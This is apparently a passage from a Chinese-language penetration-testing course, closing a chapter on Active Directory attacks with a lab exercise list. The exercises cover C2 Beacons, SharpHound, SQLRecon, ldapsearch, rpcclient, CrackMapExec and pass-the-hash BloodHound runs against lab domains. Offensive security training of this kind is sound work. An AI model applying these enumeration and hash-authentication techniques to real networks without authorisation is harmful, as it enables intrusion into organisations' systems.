[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/opeiSU5maccbw42l-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/opeiSU5maccbw42l-image.png)

file01 确实当前是 john 登陆。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CVnn6qEZrE4fLUFJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CVnn6qEZrE4fLUFJ-image.png)

# 第7章课后作业

### **练习**

1：查找1-2 个其他近年关于 AD 的 CVE 漏洞，并测试本实验是否存在。

2：我们已经有了 2 个 Beacon 了，因此我们目前对 4 个域具有资源访问权限，请分别枚举这些域的用户、组、主机、OU、GPO、域信任等内容。

3：使用 PowerShell 版 SharpHound 搜集域信息，并尝试各种选项

4：使用 SQLRecon ([https://github.com/skahwah/SQLRecon](https://github.com/skahwah/SQLRecon)) 工具来枚举实验室中的 3 个 MSSQL 数据库实例。

5：使用 ldapsearch 枚举其他域信息，例如 OU 等

6：使用 rpcclient 枚举其他域信息

7：尝试 CrackMapExec/PsMapExec 工具并枚举域信息

8：使用 NTLM 哈希认证的方式运行 BloodHound-Python

9：还有哪些其他的 DACL？

# 面试专题